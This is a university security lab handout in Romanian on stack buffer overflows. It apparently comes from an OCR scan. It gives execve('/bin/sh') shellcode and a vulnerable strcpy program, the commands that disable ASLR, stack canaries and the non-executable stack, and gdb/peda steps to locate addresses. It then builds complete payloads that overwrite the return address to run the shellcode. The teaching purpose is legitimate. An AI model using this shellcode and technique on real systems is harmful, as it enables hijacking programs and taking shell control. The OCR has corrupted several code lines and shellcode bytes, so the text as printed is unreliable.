Elemente de securitate si logica aplicata Laboratorul 4
Securitatea sistemelor de operare

Atacuri tip Buffer Overflow 2

Data trecuta am invatat despre ASLR, stack canaries si modul in care le putem dezactiva
pentru a nu fi impiedicati sa suprascriem variabilele adiacente, respectiv sa nu obtinem adrese
random ale functiilor la rulare. Va rog sa revedeti aceasta parte din laboratorul precedent
pentru cd vom avea nevoie sa dezactivim aceste mecanisme de protectie si in laboratorul

curent.

In laboratorul de astdzi ne propunem sa suprascriem adresa de retur a unei functii catre
o adresa a unui buffer controlat de noi; in acest fel putem reusi sa preluam controlul asupra
acelei masini. In general, pe cat posibil, un atacator incearcd si obtina prin atacul sau un
shell, o consola. Daca reuseste sa faca acest lucru, atunci a reusit sa aiba control complet pe

acea masina.
Practic. Aveti mai jos codul in limbaj masina care porneste o consola:

"\ x31\xc0\x50\x68\ x2f\ x2f\ x73\ x68\ x68\ x2f\ x62\x69\ x6e\x89\xe3\x50\x89\ xe2
\x53\x89\xel\xb0\x0b\xcd\x80”

Scrieti un program care scrie acest cod intr-un pointer aflat intr-o zona executabila, pe
care sa il numim p. Declarati un pointer la o functie care intoarce int si nu primeste nici un

parametru pe care sa il numim fct. Atribuiti lui fct valoarea pointerului p si rulati fet.
Hint — pentru a obtine un pointer la o zona cu drepturi de executie folositi functia mmap.

Ok, acum ca stim cum sa pornim un shell dintr-un buffer, haideti sd vedem cum putem
exploata un program vulnerabil si sa ii suprascriem valoarea de retur a unei functii. Progra-

mul vulnerabil pe care il luam in considerare este urmatorul:

#include <stdzo.h>
#include <string.h>
#include <unistd.h>
//int sw = 30;
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int func(char * argv)

{
/% while (sw)
{
sleep(1);
sw--;
}x/
char buffer[32];
strcpy (buffer, argv);
return O;
}

int main(int argc, char * argvl[])
{

func(argv[i1]);

return O;

3

Vulnerabilitatea e evidenta: daca pasam un argument din linia de comanda mai lung de 32
de elemente vom face overflow si vom suprascrie elementele de deasupra. Cum arata stiva

o data ce am intrat in functia func:

return address
old ebp
callee-saved registers *
buffer

* Registrii callee-saved sunt in numar de 3 - ebx, esi si edi si pot ocupa deci intre 0 si 12
octeti. Acestia sunt registrii salvati pe stiva doar daca sunt modificati in functia func pentru
a putea fi restaurati la iesirea din functie. Altfel, daca nu sunt modificati, nu vor fi adaugati

in stiva.
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Deci pentru a ajunge la ret address trebuie sa pasam ca parametru in linia de comanda
32 de elemente pentru a umple buffer-ul, intre 0-12 octeti pentru a suprascrie eventualii
registri ebx, esi, edi salvati (vom vedea la debugging cati sunt), trebuie sa scriem o valoare
valida in old ebp pentru ca aceea e adresa stivei la iesirea din functia func si apoi trebuie sa
punem o adresa unde sa sara programul nostru in locul adresei normale de retur. Cel mai
bun candidat este exact buffer-ul in care am adiugat shellcode-ul descris mai sus. In acest

caz, sarind exact la adresa buffer-ului se va executa executa shellcode-ul mentionat.

Pregatirea atacului

1. Pentru a ne functiona atacul trebuie sa facem mai intai urmatorii pasi:

e dezactivam ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
e compilam codul de mai sus salvat in fisierul mystack.c astfel:
gcc -o mys mystack.c -z execstack -fno-stack-protector -g -00 -m32

o OO0 dezactiveaza optimizarile

o g introduce elemente de debugging necesare pentru a putea face debug pro-

gramului
o m32 compileaza pentru 32 de biti

o fno-stack-protector dezactiveaza stack canaries — explicat in laboratorul
precedent

o -z execstack pune drepturi de executie pe stiva; buffer-ul e pe stiva, am avea
drepturi doar de read si write pe acea memorie, deci pentru a executa avem

nevoie ca stiva sa fie si executabila

2. Avem nevoie sa instalam peda, un plugin de gdb care ne va ajuta cu informatii supli-
mentare de asamblare pentru a identifica mai usor adresele de care avem nevoie. Pentru

a instala peda, va rog sa rulati urmatoarele comenzi:

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> 7/.gdbinit

#pentru a folosi plugin-ul st ca root

sudo

echo "source ~/peda/peda.py" >> 7/.gdbinit
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Obtinerea atacului

Decomentam partea comentata a programului pentru a avea 30 de secunde sd ne putem
atasa la procesul care ruleaza cu gdb. Nu vrem sa pornim procesul nostru in gdb, pentru ca
gdb ne va modifica adresele pe stiva si cAnd vom incerca sa pasam acelasi argument din linia

de comanda cand nu suntem in debugger atacul nu ne va reusi.

#include <string.h>
#include <unistd.h>
int sw = 30;
int func(char * argv)
{
while (sw)
{
sleep(1);
SW--;
}
char buffer[32];

strcpy (buffer, argv);

return O;

int main(int argc, char * argv[])

{
func(argv([1]);
return O;

}

Recompilam:

gcc -o mys mystack.c -z execstack -fno-stack-protector -g -00 -m32

Pregatim doua terminale. Rulam din primul terminal programul cu comanda:
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./mys $(python2 -c 'print ("\x31\xcO0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"*7)")

In decursul celor 30 de secunde in care procesul este adormit, ne mutam in cel de-al doilea

terminal si tastam comanda:

ps -e | grep mys

Identificam pid-ul procesului mys, sa zicem 19472 si rulam comanda pentru a ne atasa la el:
sudo gdb attach 19472

Observatie! Inlocuiti 19472 cu pid-ul procesului de pe masina voastri.

In acest moment suntem atasati din debugger la procesul nostru si avem nevoie s setam

un breakpoint pe strcpy, care e la linia 15 in fisierul nostru (verificati ¢ e la linia 15 si in

fisierul vostru), astfel ca din debugger vom rula comanda:
break mystack.c:15

Tocmai am setat un breakpoint pe instructiunea strepy, asa ca acum vom lasa programul sa

ruleze pana cand breakpointul va fi lovit. Pentru aceasta vom utiliza in debugger comanda:
continue

Printam in debugger adresa lui buffer:

p &buffer

Acum ar trebui sa aveti in debugger un output de genul urmaétor:

[ registers-----—--—--——--—-mmmmm o
EAX: 0x0

EBX: 0x56558fd4 --> 0Ox3edc

ECX: 0x0

EDX: 0x0

ESI: 0xf7fb2000 --> 0Oxle7d6c

EDI: 0xf7fb2000 --> 0Oxle7d6c¢c

EBP: Oxffffd128 --> Oxffffd148 --> 0x0
ESP: 0xffffd100 --> 0x0
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EIP: 0x5655622b (<func+62>:

sub esp,0x8)

EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

[ COd@——mmm e
0x56556221 <func+52>: mov eax,DWORD PTR [ebx+0x34]
0x56556227 <func+58>: test eax,eax
0x56556229 <func+60>: jne 0x56556205 <func+24>
=> 0x5655622b <func+62>: sub esp,0x8
0x5655622e <func+65>: push  DWORD PTR [ebp+0x8]
0x56556231 <func+68>: lea eax, [ebp-0x28]
0x56556234 <func+71>: push  eax
0x56556235 <func+72>: call  0x56556090 <strcpy@plt>
[—mm e Stack--—----——m e
0000| Oxffffd100 --> 0x0
0004| Oxffffd104 --> 0xf7fb2000 --> Oxle7d6c
0008| Oxffffd108 --> 0xf7ffc7e0 --> 0x0
0012| Oxffffd10c --> 0xf7fb54e8 --> 0x0
0016| Oxffffd110 --> 0xf7fb2000 --> Oxle7d6c
0020| Oxffffd114 --> 0xf7fe22d0 (endbr32)
0024| O0xffffd118 --> 0x0
0028| Oxffffdilc --> O0xf7dfel62 (add esp,0x10)
[m= -

Legend: code, data, rodata, value

Breakpoint 1, func (
argv=0xffffd39d "1\300Ph//shh/bin\211\343P\211\3425\211\341\260\vAAAAAAA")
at mystack.c:17

17

$1

= (char (x)[32]) Oxffffd100

gdb-peda$

strcpy (buffer, argv);
gdb-peda$ p &buffer

Observam ca valoarea ebp inainte de a intra in functia noastra este Oxffffd128 si ca adresa lui
buffer este Oxffffd100. Diferenta dintre cele doua adrese este 28 hexa, adica 40. Sa revedem

layoutul stivei mentionat mai sus:
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return address
old ebp
callee-saved registers *
buffer

Vedem ca diferenta dintre ebp si buffer este 40 de octeti — 32 fiind buffer, diferenta de
8 fiind registrii esi si edi salvati pe stiva — in definitiv nu ne intereseaza ce registri sunt
salvati ci diferenta pe care trebuie sd o umplem pentru a ajunge la ebp si ret. Deci pentru a
ajunge la ebp trebuie sa umplem buffer-ul — 32 de elemente, sa adaugam inca 8 octeti pentru
registrii callee-saved, dupa care trebuie si scriem o adresa validd pentru old ebp (in acest caz
0xffffd128) si apoi o adresa pentru ret, acea adresa fiind adresa buffer-ului nostru unde am

scris shellcode-ul.

Stiind cele de mai sus sa rerulam programul nostru, cu while-ul incad necomentat pentru

a putea sa continuam sa facem debug, cu comanda urmatoare:

./mys $(python2 -c 'print ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"*7 +"A"x8 +
"\x28\xd1I\xff\xff" + "\x00\xd1\xff\xff")')

Marind argumentul dat executabilului se vor modifica adresele pe stiva pentru buffer si
ebp astfel ca vom rerula programul in prima consola si ne vom conecta rapid la el din a
doud consold pentru a vedea noile adrese (in a doua consola ne vom conecta si vom pune
breakpoint pe strepy asa cum am facut mai sus). Cu aceeasi pasi ca data trecuta obtinem

outputul de mai jos (adresele obtinute pe masinile voastre pot diferi):

(e e registers-—----—--—----ommmmm o
EAX: 0x0

EBX: 0x56558fd4 --> 0Ox3edc

ECX: 0x0

EDX: 0x0

ESI: 0xf7fb2000 --> Oxle7d6c

EDI: 0xf7fb2000 --> 0xle7d6c¢c

EBP: Oxffffd118 --> Oxffffd138 --> 0x0
ESP: Oxffffd0f0 --> 0x0
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EIP: 0x5655622b (<func+62>:

sub esp,0x8)

EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

[ COd@——mmm e
0x56556221 <func+52>: mov eax,DWORD PTR [ebx+0x34]
0x56556227 <func+58>: test eax,eax
0x56556229 <func+60>: jne 0x56556205 <func+24>
=> 0x5655622b <func+62>: sub esp,0x8
0x5655622e <func+65>: push  DWORD PTR [ebp+0x8]
0x56556231 <func+68>: lea eax, [ebp-0x28]
0x56556234 <func+71>: push  eax
0x56556235 <func+72>: call  0x56556090 <strcpy@plt>
[—mm e Stack--—----——m e
0000| Oxffffd0f0 --> 0x0
0004| Oxffffdof4 --> 0xf7fb2000 --> Oxle7d6c
0008| Oxffffd0f8 --> 0xf7ffc7e0 --> 0x0
0012| Oxffffd0fc --> 0xf7fb54e8 --> 0x0
0016| Oxffffd100 --> 0xf7fb2000 --> Oxle7d6c
0020| Oxffffd104 --> 0xf7fe22d0 (endbr32)
0024| 0xffffd108 --> 0x0
0028| Oxffffdi10c --> O0xf7dfel62 (add esp,0x10)

Legend: code, data, rodata, value

Breakpoint 1, func (
argv=0xffffd38e "1\300Ph//shh/bin\211\343P\211\342S5\211\341\260\v",
'A' <repeats 15 times>, "(\321\377\377\321\377\377")
at mystack.c:17

17

strcpy (buffer, argv);
gdb-peda$ p &buffer
$1 = (char (x)[32]) Oxffffd0f0
gdb-peda$

Am obtinut adresa lui ebp Oxffffd118 si a lui buffer 0xfftd0f{0.
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Comentam while-ul din program si recompilam:
gcc -o mys mystack.c -z execstack -fno-stack-protector -g -00 -m32
Rulam comanda cu noile adrese:

./mys $(python2 -c 'print ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"*7 +"A"*8 +
"\x18\xd1I\xff\xff" + "\xfO\xdO\xff\xff")')



